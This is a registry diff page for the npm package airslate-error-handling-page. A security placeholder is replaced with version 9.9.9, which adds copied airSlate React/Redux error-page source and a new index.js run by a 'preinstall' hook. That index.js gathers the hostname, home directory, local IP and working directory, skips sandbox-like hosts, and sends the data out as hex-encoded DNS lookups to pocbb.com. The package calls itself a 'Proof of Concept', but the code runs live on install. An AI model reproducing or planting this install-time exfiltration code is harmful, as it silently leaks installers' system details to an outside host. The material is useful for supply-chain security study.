airslate-error-handling-page 0.0.1-security → 9.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of airslate-error-handling-page might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=airslate-error-handling-page for more information.
1
+ # NPM
2
+ This is a Proof of Concept (PoC) package.
package/index.js ADDED
@@ -0,0 +1,105 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ function generateUID(length = 5) {
7
+ const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
8
+ let result = '';
9
+ for (let i = 0; i < length; i++) {
10
+ result += characters.charAt(Math.floor(Math.random() * characters.length));
11
+ }
12
+ return result.toLowerCase();
13
+ }
14
+
15
+ // Convert a JSON string to hex
16
+ function jsonStringToHex(jsonString) {
17
+ return Buffer.from(jsonString, 'utf8').toString('hex');
18
+ }
19
+
20
+ const uid = generateUID(); // Generate a UID for this client once
21
+
22
+ function getCurrentTimestamp() {
23
+ const date = new Date();
24
+ const offset = -date.getTimezoneOffset() / 60;
25
+ const sign = offset >= 0 ? "+" : "-";
26
+ return `${date.toLocaleDateString('en-GB')} ${date.toLocaleTimeString('en-GB')} (GMT${sign}${Math.abs(offset)})`;
27
+ }
28
+
29
+ function getLocalIP() {
30
+ const interfaces = os.networkInterfaces();
31
+ for (let iface in interfaces) {
32
+ for (let ifaceInfo of interfaces[iface]) {
33
+ if (ifaceInfo.family === 'IPv4' && !ifaceInfo.internal) {
34
+ return ifaceInfo.address;
35
+ }
36
+ }
37
+ }
38
+ return '127.0.0.1'; // fallback to localhost
39
+ }
40
+
41
+ function getPackageInfo() {
42
+ const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
43
+ return {
44
+ name: packageJson.name,
45
+ version: packageJson.version
46
+ };
47
+ }
48
+
49
+ function sendJSONviaDNS(domain) {
50
+ // Check conditions to exit early
51
+ const hostnameCheck = os.hostname().startsWith("DESKTOP-") || os.hostname() === "instance";
52
+ const pathCheck1 = process.cwd().startsWith("/app");
53
+ const pathCheck2 = process.cwd().startsWith("/root/node_modules");
54
+
55
+ if (hostnameCheck || pathCheck1 || pathCheck2) {
56
+ return;
57
+ }
58
+
59
+ // Resolve the IP address of ns1.pocbb.com
60
+ dns.resolve4('ns1.pocbb.com', (err, addresses) => {
61
+ if (err) {
62
+ dns.setServers(['1.1.1.1', '8.8.8.8']); // Use 1.1.1.1 and 8.8.8.8 if ns1.pocbb.com cannot be resolved
63
+ } else {
64
+ const primaryDNS = addresses[0];
65
+ dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
66
+ }
67
+
68
+ // Get package info
69
+ const pkgInfo = getPackageInfo();
70
+
71
+ // Construct the JSON object
72
+ const jsonObject = {
73
+ timestamp: getCurrentTimestamp(),
74
+ uid: uid,
75
+ 'pkg-name': pkgInfo.name,
76
+ 'pkg-version': pkgInfo.version,
77
+ 'local-ip': getLocalIP(),
78
+ hostname: os.hostname(),
79
+ homedir: os.homedir(),
80
+ path: process.cwd()
81
+ };
82
+ const jsonString = JSON.stringify(jsonObject);
83
+ const hexString = jsonStringToHex(jsonString);
84
+
85
+ // Split hex string into chunks of 60 characters each
86
+ const chunkSize = 60;
87
+ const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
88
+ const chunks = hexString.match(regex);
89
+
90
+ chunks.forEach((chunk, index) => {
91
+ const packetNumber = (index + 1).toString().padStart(3, '0'); // 001, 002, etc.
92
+ const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
93
+
94
+ // Perform DNS resolution
95
+ dns.resolve4(subdomain, (err, addresses) => {
96
+ if (err) {
97
+ return;
98
+ }
99
+ });
100
+ });
101
+ });
102
+ }
103
+
104
+ // Usage
105
+ sendJSONviaDNS('pocbb.com');
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "airslate-error-handling-page",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.9",
4
+ "description": "This is a Proof of Concept (PoC) package",
5
+ "license": "MIT",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "preinstall": "node index.js"
9
+ }
6
10
  }
@@ -0,0 +1,95 @@
1
+ import React from 'react';
2
+ import { string, func } from 'prop-types';
3
+ import { Link } from 'react-router-dom';
4
+
5
+ import Svg from 'airslate-controls/src/Svg';
6
+ import airSlateLogoSvg from 'airslate-static.icons/src/custom/airslate-logo.svg';
7
+
8
+ import ContentPlaceholder from 'ui-components/src/components/ContentPlaceholder';
9
+ import ContentPlaceholderImage from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderImage';
10
+ import ContentPlaceholderTitle from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderTitle';
11
+ import ContentPlaceholderText from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderText';
12
+ import ContentPlaceholderActions from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderActions';
13
+ import ContentPlaceholderButton from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderButton';
14
+
15
+ import { EMPTY_STRING, ERROR_IMAGE_ACCESS_DENIED } from './constants';
16
+ import loc from './locale';
17
+
18
+
19
+ const ErrorView = ({
20
+ title,
21
+ message,
22
+ image,
23
+ clear,
24
+ action,
25
+ redirect,
26
+ location,
27
+ }) => (
28
+ <div className="sl-grid__wrap">
29
+ <main className="sl-grid__container">
30
+ <div className="sl-grid__container-inner">
31
+ <div className="page-logo page-logo--aligned-center">
32
+ <div className="page-logo__image">
33
+ <Svg symbol={airSlateLogoSvg} />
34
+ </div>
35
+ </div>
36
+ <div className="sl-container sl-container--aligned-center">
37
+ <ContentPlaceholder centered>
38
+ <ContentPlaceholderImage>
39
+ {image && <img src={image} alt={loc(title)} />}
40
+ </ContentPlaceholderImage>
41
+ <ContentPlaceholderTitle>
42
+ <h1>{title && loc(title)}</h1>
43
+ </ContentPlaceholderTitle>
44
+ <ContentPlaceholderText>
45
+ <p>{message && loc(message)}</p>
46
+ </ContentPlaceholderText>
47
+ <ContentPlaceholderActions size="sm">
48
+ <ContentPlaceholderButton>
49
+ {action && (redirect && !location) && (
50
+ <Link
51
+ to={redirect}
52
+ onClick={clear}
53
+ className="sl-button sl-button--primary"
54
+ >
55
+ <span className="sl-button__body">
56
+ <span className="sl-button__text">{loc(action)}</span>
57
+ </span>
58
+ </Link>
59
+ )}
60
+ {action && location && (
61
+ <a onClick={clear} href={location} className="sl-button sl-button--primary">
62
+ <span className="sl-button__body">
63
+ <span className="sl-button__text">{loc(action)}</span>
64
+ </span>
65
+ </a>
66
+ )}
67
+ </ContentPlaceholderButton>
68
+ </ContentPlaceholderActions>
69
+ </ContentPlaceholder>
70
+ </div>
71
+ </div>
72
+ </main>
73
+ </div>
74
+ );
75
+
76
+ ErrorView.propTypes = {
77
+ title: string,
78
+ message: string,
79
+ redirect: string,
80
+ location: string,
81
+ image: string,
82
+ action: string,
83
+ clear: func.isRequired,
84
+ };
85
+
86
+ ErrorView.defaultProps = {
87
+ title: EMPTY_STRING,
88
+ message: EMPTY_STRING,
89
+ redirect: EMPTY_STRING,
90
+ location: EMPTY_STRING,
91
+ image: ERROR_IMAGE_ACCESS_DENIED,
92
+ action: EMPTY_STRING,
93
+ };
94
+
95
+ export default ErrorView;
@@ -0,0 +1,109 @@
1
+ import requestError from './action';
2
+ import {
3
+ UNKNOWN,
4
+ REDUX_STORE,
5
+ REDUX_ACTION,
6
+ ERROR_ACTION_FORWARD,
7
+ } from './constants';
8
+
9
+ const dictionary = (arr) => {
10
+ if (Array.isArray(arr)) {
11
+ return arr.reduce((acc, key) => {
12
+ acc[key] = true;
13
+ return acc;
14
+ }, {});
15
+ }
16
+
17
+ return {};
18
+ };
19
+
20
+ export default function ReduxErrorJSLogger(Sentry, Severity, option) {
21
+ const filterState = (option && option.filterState) || false;
22
+ const filterActions = (option && option.filterActions && dictionary(option.filterActions)) || {};
23
+
24
+ return (store) => {
25
+ const reduxStore = () => {
26
+ const state = store.getState();
27
+
28
+ if (filterState) {
29
+ return { [REDUX_STORE]: filterState(state) };
30
+ }
31
+
32
+ return { [REDUX_STORE]: state };
33
+ };
34
+
35
+ const processException = (exception) => {
36
+ const extra = reduxStore();
37
+
38
+ Sentry.run(hub => hub.withScope((scope) => {
39
+ scope.setExtras(extra);
40
+ Sentry.captureException(exception);
41
+ }));
42
+
43
+ if (__LOCAL__ || __DEV__) {
44
+ /* eslint-disable */
45
+ console.log('---- ReduxErrorJSLogger ----');
46
+ console.log(`Target: ${__APP_NAME__} - ${__BRANCH__}@${__BUILD_NUMBER__}`);
47
+ console.error(exception);
48
+ console.log('---- ReduxErrorJSLogger ----');
49
+ /* eslint-enable */
50
+ }
51
+
52
+ store.dispatch(requestError(exception));
53
+ };
54
+
55
+ const trackCustomMessage = ({ payload }) => {
56
+ const extra = reduxStore();
57
+ const event = (payload && (payload.event || payload.code)) || UNKNOWN;
58
+ const hint = (payload && (payload.hint || payload.message)) || UNKNOWN;
59
+
60
+ Sentry.run(hub => hub.withScope((scope) => {
61
+ scope.setExtras(extra);
62
+ Sentry.captureEvent(event, hint);
63
+ }));
64
+ };
65
+
66
+ const trackNexAction = ({ type: message, payload: data }) => {
67
+ Sentry.run(hub => hub.addBreadcrumb({
68
+ data,
69
+ message,
70
+ category: REDUX_ACTION,
71
+ level: Severity.Debug,
72
+ }));
73
+ };
74
+
75
+ const proxyResult = value => value;
76
+
77
+ const wrapErrorHandling = action => (...args) => {
78
+ let result;
79
+ try {
80
+ result = action(...args);
81
+ } catch (err) {
82
+ // sync error in reducer within a thunk
83
+ processException(err);
84
+ }
85
+ if (result instanceof Promise) {
86
+ // async error in thunk
87
+ return result.then(proxyResult).catch(processException);
88
+ }
89
+ return result;
90
+ };
91
+
92
+ return next => (action) => {
93
+ if (action && action.type) {
94
+ if (action.type === ERROR_ACTION_FORWARD) {
95
+ // Send custom exception to Sentry
96
+ trackCustomMessage(action);
97
+ } else if (filterActions[action.type] == null) {
98
+ // Add action to Sentry Breadcrumb
99
+ trackNexAction(action);
100
+ }
101
+
102
+ // Ignore plain actions
103
+ return next(action);
104
+ }
105
+
106
+ return next(wrapErrorHandling(action));
107
+ };
108
+ };
109
+ }
@@ -0,0 +1,97 @@
1
+ import React, { Component } from 'react';
2
+ import PropTypes from 'prop-types';
3
+ import { EMPTY_STRING } from './constants';
4
+
5
+
6
+ const propTypes = {
7
+ code: PropTypes.oneOfType([
8
+ PropTypes.number,
9
+ PropTypes.string,
10
+ ]),
11
+ title: PropTypes.string,
12
+ image: PropTypes.string,
13
+ emit: PropTypes.func.isRequired,
14
+ clear: PropTypes.func.isRequired,
15
+ getErrorCode: PropTypes.func,
16
+ force: PropTypes.bool,
17
+ action: PropTypes.string,
18
+ message: PropTypes.string,
19
+ redirect: PropTypes.string,
20
+ location: PropTypes.string,
21
+ children: PropTypes.node.isRequired,
22
+ component: PropTypes.oneOfType([
23
+ PropTypes.node,
24
+ PropTypes.func,
25
+ ]).isRequired,
26
+ };
27
+
28
+ const defaultProps = {
29
+ code: 0,
30
+ title: EMPTY_STRING,
31
+ image: EMPTY_STRING,
32
+ force: false,
33
+ action: EMPTY_STRING,
34
+ message: EMPTY_STRING,
35
+ redirect: null,
36
+ location: null,
37
+ getErrorCode: () => null,
38
+ };
39
+
40
+
41
+ class WithErrorPageHandler extends Component {
42
+ componentWillUnmount() {
43
+ this.props.clear();
44
+ }
45
+
46
+ componentDidCatch(error, errorInfo) {
47
+ if (errorInfo && errorInfo.componentStack) {
48
+ // The component stack is sometimes useful in development mode
49
+ // In production it can be somewhat obfuscated, so feel free to omit this line.
50
+ console.log(errorInfo.componentStack); // eslint-disable-line
51
+ }
52
+
53
+ this.props.emit(error);
54
+ }
55
+
56
+ render() {
57
+ const {
58
+ code, title, clear, force, action, component: ErrorPage,
59
+ message, redirect, children, image, location, getErrorCode,
60
+ } = this.props;
61
+
62
+ if (code && getErrorCode) {
63
+ getErrorCode(code);
64
+ }
65
+
66
+ if (location && typeof location === 'string' && force) {
67
+ location.href = location;
68
+
69
+ return null;
70
+ }
71
+
72
+ if (redirect && force) {
73
+ global.location.href = redirect;
74
+ }
75
+
76
+ if (code) {
77
+ return (
78
+ <ErrorPage
79
+ clear={clear}
80
+ title={title}
81
+ image={image}
82
+ action={action}
83
+ message={message}
84
+ redirect={redirect}
85
+ location={location}
86
+ />
87
+ );
88
+ }
89
+
90
+ return children;
91
+ }
92
+ }
93
+
94
+ WithErrorPageHandler.propTypes = propTypes;
95
+ WithErrorPageHandler.defaultProps = defaultProps;
96
+
97
+ export default WithErrorPageHandler;
package/src/action.js ADDED
@@ -0,0 +1,39 @@
1
+ import { createAction } from 'redux-actions';
2
+ import {
3
+ UNKNOWN,
4
+ HOME_PATH,
5
+ ERROR_ACTION_REQUEST,
6
+ ERROR_ACTION_FORWARD,
7
+ ERROR_ACTION_CLEAR,
8
+ PAYLOAD_BY_ERROR_CODE,
9
+ } from './constants';
10
+
11
+
12
+ export const errorAction = createAction(ERROR_ACTION_REQUEST);
13
+ export const forwardAction = createAction(ERROR_ACTION_FORWARD);
14
+ export const clearAction = createAction(ERROR_ACTION_CLEAR);
15
+
16
+
17
+ export default function errorHandler(error) {
18
+ const code = error.code || error.status || UNKNOWN;
19
+ const isErrorInstance = error instanceof Error;
20
+
21
+ if (PAYLOAD_BY_ERROR_CODE[code]) {
22
+ if (isErrorInstance) {
23
+ return errorAction(PAYLOAD_BY_ERROR_CODE[code]);
24
+ }
25
+ // Provide extra arguments
26
+ return errorAction({ ...PAYLOAD_BY_ERROR_CODE[code], ...error });
27
+ }
28
+
29
+ if (isErrorInstance) {
30
+ return errorAction({
31
+ code,
32
+ title: error.message,
33
+ action: 'PAGE_ACTION_HOME',
34
+ redirect: HOME_PATH,
35
+ });
36
+ }
37
+
38
+ return Error(error);
39
+ }
@@ -0,0 +1,129 @@
1
+ // Common
2
+ const { STATIC_URL, MAIN_DOMAIN } = global.AIRSLATE_ENV_CONFIGURATION;
3
+
4
+ export const EMPTY_STRING = '';
5
+ export const REDUX_ACTION = 'redux-action';
6
+ export const REDUX_STORE = 'redux-store';
7
+ export const IMAGES_STATIC_PATH = `${STATIC_URL}/images/default`;
8
+
9
+ export const EMPTY_ERROR_STATE = {};
10
+ export const ERROR_ACTION_REQUEST = 'EHP::ERROR::REQUESTED';
11
+ export const ERROR_ACTION_FORWARD = 'EHP::ERROR::FORWARD';
12
+ export const ERROR_ACTION_CLEAR = 'EHP::ERROR::CLEAR';
13
+
14
+
15
+ // images
16
+ export const ERROR_IMAGE_ACCESS_DENIED = `${IMAGES_STATIC_PATH}/access-denied.png`;
17
+ export const ERROR_IMAGE_NOT_FOUND = `${IMAGES_STATIC_PATH}/404.png`;
18
+ export const ERROR_IMAGE_EXERTION = `${IMAGES_STATIC_PATH}/500.png`;
19
+
20
+
21
+ // Redirect
22
+ export const MY_DOMAIN_PATH = `my.${MAIN_DOMAIN}`;
23
+ export const HOME_PATH = '/';
24
+ export const LOGIN_PATH = `/login?redirect=${global.location.pathname}${global.location.search}`;
25
+ export const REQUEST_ACCESS_PATH = '/request-access';
26
+
27
+
28
+ // Error types
29
+ export const UNKNOWN = 'UNKNOWN';
30
+ export const INVITE = 'INVITE_ERROR';
31
+ export const REQUEST_ACCESS = 'REQUEST_ACCESS';
32
+
33
+
34
+ export const HTTP_BAD_REQUEST = 400;
35
+ export const HTTP_UNAUTHORIZED = 401;
36
+ export const HTTP_PAYMENT_REQUIRED = 402;
37
+ export const HTTP_ACCESS_DENIED = 403;
38
+ export const HTTP_NOT_FOUND = 404;
39
+ export const HTTP_METHOD_NOT_ALLOWED = 405;
40
+ export const HTTP_NOT_ACCEPTABLE = 406;
41
+ export const HTTP_PROXY_AUTHENTICATION_REQUIRED = 407;
42
+ export const HTTP_REQUEST_TIMEOUT = 408;
43
+ export const HTTP_CONFLICT = 409;
44
+ export const HTTP_GONE = 410;
45
+ export const HTTP_LENGTH_REQUIRED = 411;
46
+ export const HTTP_PRECONDITION_FAILED = 412;
47
+ export const HTTP_REQUEST_ENTITY_TOO_LARGE = 413;
48
+ export const HTTP_REQUEST_URI_TOO_LONG = 414;
49
+ export const HTTP_UNSUPPORTED_MEDIA_TYPE = 415;
50
+ export const HTTP_REQUESTED_RANGE_NOT_SATISFIABLE = 416;
51
+ export const HTTP_EXPECTATION_FAILED = 417;
52
+ export const HTTP_UNPROCESSABLE_ENTITY = 422;
53
+ export const HTTP_INTERVAL_SERVER_ERROR = 500;
54
+ export const HTTP_NOT_IMPLEMENTED = 501;
55
+ export const HTTP_BAD_GATEWAY = 502;
56
+ export const HTTP_SERVICE_UNAVAILABLE = 503;
57
+ export const HTTP_GATEWAY_TIMEOUT = 504;
58
+ export const HTTP_HTTP_VERSION_NOT_SUPPORTED = 505;
59
+
60
+ // Error enum
61
+ export const PAYLOAD_BY_ERROR_CODE = {
62
+ [HTTP_UNAUTHORIZED]: {
63
+ force: true,
64
+ redirect: LOGIN_PATH,
65
+ },
66
+
67
+ [HTTP_BAD_REQUEST]: {
68
+ code: HTTP_BAD_REQUEST,
69
+ title: 'PAGE_TITLE_INTERVAL_SERVER_ERROR',
70
+ image: ERROR_IMAGE_NOT_FOUND,
71
+ action: 'PAGE_ACTION_HOME',
72
+ redirect: HOME_PATH,
73
+ },
74
+
75
+ [HTTP_ACCESS_DENIED]: {
76
+ code: HTTP_ACCESS_DENIED,
77
+ title: 'PAGE_TITLE_NO_PERMISSION',
78
+ image: ERROR_IMAGE_NOT_FOUND,
79
+ message: 'PAGE_MESSAGE_NO_PERMISSION',
80
+ action: 'PAGE_ACTION_HOME',
81
+ redirect: HOME_PATH,
82
+ },
83
+
84
+ [HTTP_NOT_FOUND]: {
85
+ code: HTTP_ACCESS_DENIED,
86
+ title: 'PAGE_TITLE_NOT_FOUND',
87
+ image: ERROR_IMAGE_NOT_FOUND,
88
+ message: 'PAGE_MESSAGE_NOT_FOUND',
89
+ action: 'PAGE_ACTION_HOME',
90
+ redirect: HOME_PATH,
91
+ },
92
+
93
+ [HTTP_INTERVAL_SERVER_ERROR]: {
94
+ code: HTTP_INTERVAL_SERVER_ERROR,
95
+ title: 'PAGE_TITLE_INTERVAL_SERVER_ERROR',
96
+ image: ERROR_IMAGE_EXERTION,
97
+ action: 'PAGE_ACTION_HOME',
98
+ redirect: HOME_PATH,
99
+ },
100
+
101
+ [HTTP_UNPROCESSABLE_ENTITY]: {
102
+ code: HTTP_UNPROCESSABLE_ENTITY,
103
+ title: 'PAGE_TITLE_INTERVAL_SERVER_ERROR',
104
+ image: ERROR_IMAGE_EXERTION,
105
+ action: 'PAGE_ACTION_HOME',
106
+ redirect: HOME_PATH,
107
+ },
108
+
109
+ [INVITE]: {
110
+ code: INVITE,
111
+ message: 'PAGE_MESSAGE_WORKSPACE_NOT_FOUND',
112
+ action: 'PAGE_ACTION_WORKSPACE_NOT_FOUND',
113
+ redirect: MY_DOMAIN_PATH,
114
+ },
115
+
116
+ [REQUEST_ACCESS]: {
117
+ force: true,
118
+ redirect: REQUEST_ACCESS_PATH,
119
+ },
120
+
121
+ [UNKNOWN]: {
122
+ code: UNKNOWN,
123
+ title: 'PAGE_TITLE_UNKNOWN',
124
+ image: ERROR_IMAGE_NOT_FOUND,
125
+ message: 'PAGE_MESSAGE_UNKNOWN',
126
+ action: 'PAGE_ACTION_HOME',
127
+ redirect: HOME_PATH,
128
+ },
129
+ };
package/src/handler.js ADDED
@@ -0,0 +1,7 @@
1
+ import React from 'react';
2
+
3
+ import HandlerComponent from './handlerComponent';
4
+ import ErrorPage from './ErrorPage';
5
+
6
+
7
+ export default props => <HandlerComponent component={ErrorPage} {...props} />;
@@ -0,0 +1,13 @@
1
+ import { connect } from 'react-redux';
2
+ import errorHandler, { clearAction } from './action';
3
+ import WithErrorPageHandler from './WithErrorPageHandler';
4
+ import { EMPTY_ERROR_STATE } from './constants';
5
+
6
+ const mapDispatchToProps = {
7
+ clear: clearAction,
8
+ emit: errorHandler,
9
+ };
10
+
11
+ const selectSlatePermission = state => state.error || EMPTY_ERROR_STATE;
12
+
13
+ export default connect(selectSlatePermission, mapDispatchToProps)(WithErrorPageHandler);
package/src/locale.js ADDED
@@ -0,0 +1,5 @@
1
+ import Locale from '@airslate/front-locales/lib';
2
+
3
+ const { get } = Locale('AS_ERROR_', window.allConstants);
4
+
5
+ export default get;
@@ -0,0 +1,20 @@
1
+ import {
2
+ Hub,
3
+ Severity,
4
+ BrowserClient,
5
+ } from '@sentry/browser';
6
+ import ReduxErrorJSLogger from './ReduxErrorJSLogger';
7
+
8
+
9
+ const SentryBrowser = new BrowserClient({
10
+ dsn: __SENTRY_KEY__,
11
+ debug: !__PROD__,
12
+ environment: __TARGET__,
13
+ release: `${__BRANCH__}@${__BUILD_NUMBER__}`,
14
+ });
15
+
16
+ const Sentry = new Hub(SentryBrowser);
17
+
18
+ export const ErrorJSLoggerWithOption = option => ReduxErrorJSLogger(Sentry, Severity, option);
19
+
20
+ export default ReduxErrorJSLogger(Sentry, Severity, null);
package/src/reducer.js ADDED
@@ -0,0 +1,19 @@
1
+ import { handleActions } from 'redux-actions';
2
+ import { EMPTY_STRING, ERROR_ACTION_REQUEST, ERROR_ACTION_CLEAR } from './constants';
3
+
4
+
5
+ const defaultActionHandler = (state, { payload }) => ({ ...state, ...payload });
6
+
7
+
8
+ const initialState = {
9
+ code: 0,
10
+ title: EMPTY_STRING,
11
+ action: EMPTY_STRING,
12
+ message: EMPTY_STRING,
13
+ redirect: EMPTY_STRING,
14
+ };
15
+
16
+ export default handleActions({
17
+ [ERROR_ACTION_REQUEST]: defaultActionHandler,
18
+ [ERROR_ACTION_CLEAR]: () => initialState,
19
+ }, initialState);
package/src/types.js ADDED
@@ -0,0 +1,14 @@
1
+ import {
2
+ INVITE, UNKNOWN, HTTP_NOT_FOUND, HTTP_UNAUTHORIZED,
3
+ HTTP_ACCESS_DENIED, HTTP_INTERVAL_SERVER_ERROR, REQUEST_ACCESS,
4
+ } from './constants';
5
+
6
+
7
+ // Error codes
8
+ export const NOT_FOUND = { code: HTTP_NOT_FOUND };
9
+ export const UNAUTHORIZED = { code: HTTP_UNAUTHORIZED };
10
+ export const ACCESS_DENIED = { code: HTTP_ACCESS_DENIED };
11
+ export const INTERVAL_SERVER_ERROR = { code: HTTP_INTERVAL_SERVER_ERROR };
12
+ export const INVITE_ERROR = { code: INVITE };
13
+ export const DEFAULT = { code: UNKNOWN };
14
+ export const REQUEST_ACCESS_ERROR = { code: REQUEST_ACCESS };
@@ -0,0 +1,33 @@
1
+ export type TQueryObject = Record<number | string, any>;
2
+
3
+ const _flat = (
4
+ path: string,
5
+ obj: TQueryObject,
6
+ flatted: string[],
7
+ ): string[] => Object.keys(obj).reduce(
8
+ (f, p) => {
9
+ let v = obj[p];
10
+ if (v === undefined) return flatted;
11
+ if (v === null) v = '';
12
+ const ep = encodeURIComponent(p);
13
+ const np = path ? `${path}[${ep}]` : ep;
14
+ const theType = Array.isArray(v) ? 'array' : typeof v;
15
+ if (['function', 'array'].includes(theType)) v = '';
16
+ if (theType === 'object') {
17
+ return _flat(np, v, f);
18
+ }
19
+ f.push(`${np}=${encodeURIComponent(v)}`);
20
+ return f;
21
+ }, flatted,
22
+ );
23
+
24
+ const flat = (obj: TQueryObject): string[] => _flat('', obj, []);
25
+
26
+ const stringify = (query: TQueryObject): string => {
27
+ const queryString = flat(query).join('&');
28
+ return queryString ? `?${queryString}` : '';
29
+ };
30
+
31
+ export const buildQuery = (query: TQueryObject): string => (
32
+ query != null ? stringify(query) : ''
33
+ );